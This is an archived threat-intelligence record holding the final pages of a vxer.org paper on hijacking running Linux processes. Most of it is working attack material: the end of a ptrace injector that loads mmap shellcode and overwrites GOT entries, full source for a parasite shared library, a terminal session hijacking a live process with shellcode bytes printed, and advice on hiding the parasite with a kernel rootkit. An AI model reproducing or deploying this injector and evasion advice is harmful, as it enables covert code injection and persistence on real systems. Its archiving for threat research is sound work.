{\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 51 of 57\n\nif (strcmp(lp[i].name, function) == 0)\r\n               {\r\n                       if (et_dyn)\r\n                                dyn_mmap_got_addr = (evil_base + (lp[i].offset - elf_base));\r\n                                               got_offset = (!et_dyn) ? lp[i].offset : dyn_mmap_got_addr;\r\n                       export = memrw(NULL, got_offset, 1, pid, evilfunc);\r\n                       if (export == evilfunc)\r\n                                printf(\"Successfully modified GOT entry\\n\\n\");\r\n                       else\r\n                       {\r\n                                printf(\"Failed at modifying GOT entry\\n\");\r\n                                goto done;\r\n                       }\r\n                       printf(\"New GOT value: %x\\n\", export);\r\n               }\r\n        }\r\n                unsigned char evil_code[256];\r\n        unsigned char initial_bytes[12];\r\n        unsigned long injection_vaddr = 0;\r\n        /* get a copy of our replacement function and search for transfer sequence */\r\n        memrw((unsigned long *)evil_code, evilfunc, 256, pid, 0);\r\n                /* once located, patch it with the addr of the original function */\r\n        for (i = 0; i \u003c 256; i++)\r\n        {\r\n                printf(\"%.2x \", evil_code[i]);\r\n                if (evil_code[i] == tc[0] \u0026\u0026 evil_code[i+1] == tc[1] \u0026\u0026 evil_code[i+2] == tc[2] \u0026\u0026 evil_code[i+3] ==\r\ntc[3])\r\n                {\r\n                        printf(\"\\nLocated transfer code; patching it with %x\\n\", original);\r\n                        injection_vaddr = (evilfunc + i) + 3;\r\n                        break;\r\n                }\r\n        }\r\n        if (!injection_vaddr)\r\n        {\r\n                printf(\"Could not locate transfer code within parasite\\n\");\r\n                goto done;\r\n        }\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 52 of 57\n\n/* patch jmp code with addr to original function */\r\n        memrw((unsigned long *)initial_bytes, injection_vaddr, INJECT_TRANSFER_CODE, pid, original);\r\n                printf(\"Confirm transfer code: \");\r\n        for (i = 0; i \u003c 7; i++)\r\n                printf(\"\\\\x%.2x\", initial_bytes[i]);\r\n        puts(\"\\n\");\r\n                done:\r\n        munmap(mem, st.st_size);\r\n        if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)\r\n                perror(\"ptrace_detach\");\r\n        close(md);\r\n        fclose(fd);\r\n        exit(0);\r\n}\r\nHere is the example shared object parasite\r\n/* libtest.c */\r\n#include \u003csys/syscall.h\u003e\r\n#include \u003csys/types.h\u003e\r\nint evilprint (char *);\r\nstatic int\r\n_write (int fd, void *buf, int count)\r\n{\r\n  long ret;\r\n  __asm__ __volatile__ (\"pushl %%ebx\\n\\t\"\r\n                        \"movl %%esi,%%ebx\\n\\t\"\r\n                        \"int $0x80\\n\\t\" \"popl %%ebx\":\"=a\" (ret)\r\n                        :\"0\" (SYS_write), \"S\" ((long) fd),\r\n                        \"c\" ((long) buf), \"d\" ((long) count));\r\n  if (ret \u003e= 0) {\r\n    return (int) ret;\r\n  }\r\n  return -1;\r\n}\r\nint\r\nevilprint (char *buf)\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 53 of 57\n\n{\r\n  /* allocate strings on the stack */\r\n  /* so they aren't stored in .rodata */\r\n  char new_string[5];\r\n       new_string[0] = 'e';\r\n       new_string[1] = 'v';\r\n       new_string[2] = 'i';\r\n       new_string[3] = 'l';\r\n       new_string[4] = 0;\r\n  char msg[5];\r\n       msg[0] = 'I';\r\n       msg[1] = ' ';\r\n       msg[2] = 'a';\r\n       msg[3] = 'm';\r\n       msg[4] = 0;\r\n  char nl[1];\r\n       nl[0]= '\\n';\r\n  int (*origfunc)(char *p) = 0x00000000;\r\n  /* just to demonstrate calling */\r\n  /* a syscall from our shared lib */\r\n  _write(1, (char *)msg, 4);\r\n  _write(1, (char *)nl, 1);\r\n  /* pass our new arg to the original function */\r\n  origfunc(new_string);\r\n    /*\r\n  Remember this is an alternative way to transfer control back --\r\n  __asm__ __volatile__\r\n  (\"movl %ebp, %esp\\n\" \"pop %ebp\\n\" \"movl $0x00000000, %eax\\n\" \"jmp *%eax\");\r\n  */\r\n}\r\nvoid\r\n_init ()\r\n{\r\n}\r\nvoid\r\n_fini ()\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 54 of 57\n\n{\r\n}\r\nHere is an example:\r\nlocalhost # gcc -fPIC -c libtest.c -nostdlib\r\nlocalhost # ld -shared -o libtest.so.1.0 libtest.o\r\nlocalhost # cp libtest.so.1.0 /lib\r\nlocalhost # gcc dlh.c -o dlh\r\nlocalhost # ps aux | grep test\r\nroot 16651 0.0 0.0 1436 308 pts/25 S+ 12:34 0:00 ./test\r\nlocalhost # ./dlh 16651 puts\r\n%eip -\u003e 0xb7e60e9b\r\nInjecting mmap_shellcode at 0x8048000\r\nHere is the saved code we will be overwriting:\r\n\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\r\n\\x01\\x00\\x00\\x00\\x40\\x83\\x04\\x08\\x34\\x00\\x00\\x00\\x04\\x12\\x00\\x00\\x00\\x00\\x00\\x00\r\n\\x34\\x00\\x20\\x00\\x09\\x00\\x28\\x00\\x1d\\x00\\x1a\\x00\\x06\\x00\\x00\\x00\\x34\\x00\\x00\\x00\r\n\\x34\\x80\\x04\\x08\\x34\\x80\\x04\\x08\\x20\\x01\\x00\\x00\\x20\\x01\\x00\\x00\\x05\\x00\\x00\\x00\r\n\\x04\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x54\\x01\r\nVerifying shellcode was injected properly, does this look ok?\r\n\\xe9\\x3b\\x00\\x00\\x00\\x31\\xc9\\xb0\\x05\\x5b\\x31\\xc9\\xcd\\x80\\x83\\xec\\x18\\x31\\xd2\\x89\r\n\\x14\\x24\\xc7\\x44\\x24\\x04\\x00\\x20\\x00\\x00\\xc7\\x44\\x24\\x08\\x07\\x00\\x00\\x00\\xc7\\x44\r\n\\x24\\x0c\\x02\\x00\\x00\\x00\\x89\\x44\\x24\\x10\\x89\\x54\\x24\\x14\\xb8\\x5a\\x00\\x00\\x00\\x89\r\n\\xe3\\xcd\\x80\\xcc\\xe8\\xc0\\xff\\xff\\xff\\x2f\\x6c\\x69\\x62\\x2f\\x6c\\x69\\x62\\x74\\x65\\x73\r\n\\x74\\x2e\\x73\\x6f\\x2e\\x31\\x2e\\x30\\x00\\x00\r\nSetting %eip to 0x8048000\r\n%eip is now at 0x8048040, resetting it to 0xb7e60e9b\r\ninserting original code back\r\nReading from process image at 0xb7f0f000\r\nSearching at library base [0xb7f0f000] for evil function\r\nPrinting parasite code -\u003e\r\n55 89 e5 83 ec 18 c6 45 f7 65 c6 45 f8 76 c6 45 f9 69 c6 45\r\nfa 6c c6 45 fb 00 c6 45 f2 49 c6 45 f3 20 c6 45 f4 61 c6 45\r\nf5 6d c6 45 f6 00 c6 45 f1 0a\r\nEvil Function location: b7f0f248\r\nModifying GOT entry: replace \u003cputs\u003e with b7f0f248\r\nModifying GOT(804a00c)\r\nSuccessfully modified GOT entry\r\nNew GOT value: b7f0f248\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 55 of 57\n\nReading from process image at 0xb7f0f248\r\n55 89 e5 83 ec 18 c6 45 f7 65 c6 45 f8 76 c6 45 f9 69 c6 45 fa 6c c6 45 fb 00\r\nc6 45 f2 49 c6 45 f3 20 c6 45 f4 61 c6 45 f5 6d c6 45 f6 00 c6 45 f1 0a c7\r\nLocated transfer code; patching it with b7e2b5c0\r\nInjecting b7e2b5c0 at 0xb7f0f27d\r\nConfirm transfer code: \\xfc\\xc0\\xb5\\xe2\\xb7\\x6a\\x04\r\nlocalhost #\r\nAt this point the target process has been hijacked\r\nlocalhost # ./test\r\ntest!\r\ntest!\r\ntest!\r\ntest!\r\ntest!\r\ntest!\r\ntest!\r\ntest!\r\nI am\r\nevil\r\nI am\r\nevil\r\nI am\r\nevil\r\n8 - After thoughts\r\n1 Improvements\r\nThe method shown in this paper could probably be improved in many ways I have not thought of. The primary\r\nthing that come to mind is to provide a more flexible loader that does relocation, and does not require the parasite\r\nbe compiled without relocations. This could be done especially easy when _dlopen_ was present in libc, and\r\nalthough __libc_dlopen_mode works similarly, I have not studied it enough or spent a whole lot of time trying to\r\nget it to work as a loader for a target process, as mmap() suites me. I think ultimately it would be a somewhat\r\ntrivial task, but as this paper was merely a side step from my real project, it didn't seem worth pursuing since I\r\nhave more significant projects.\r\n2 ELFsh\r\nOne other thing to mention is elfsh; elfsh is now apart of eresi -- ELF Reverse Engineering Software Interface.\r\nElfsh is a scripting interpreter that can be used to implement hijackers (among many many other things) like the\r\none in this paper (and more advanced) with very little effort. Check it: http://www.eresi-project.org/\r\n3 Staying hidden\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 56 of 57\n\nKeep in mind that it is imperative to make sure your shared object is hidden i.e via a kernel rootkit, otherwise its\r\ngoing to be easily found on disk. Additionally, the shared object that you are loading is visible in the\r\n/proc/\u003cpid\u003e/maps file and that line should always be hidden as well. Another alternative is of course to directly\r\nmodify shared objects on the system which has the benefits of not making a mess anywhere else on disk but can\r\nbe detected via regular md5 checks.\r\nThank you, and enjoy.\r\n9 - References / Reading Material\r\n1. Cheating the ELF by grugq\r\n2. ELF PLT infection by Silvio\r\n3. ELF Relocation explained\r\n4. ELF Specification\r\n5. Embedded ELF Debugging\r\n6. RTLD internals by Mayhem\r\n7. ptrace(2)\r\n[Back to index] [Comments]\r\nBy accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka\r\nvx.netlux.org\r\nSource: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 57 of 57",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html"
	],
	"report_names": [
		"vrn00.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775441503,
	"ts_updated_at": 1775791265,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/de392bd5d31f59ad0bf3122a86eb7b5b72b8fcc8.pdf",
		"text": "https://archive.orkl.eu/de392bd5d31f59ad0bf3122a86eb7b5b72b8fcc8.txt",
		"img": "https://archive.orkl.eu/de392bd5d31f59ad0bf3122a86eb7b5b72b8fcc8.jpg"
	}
}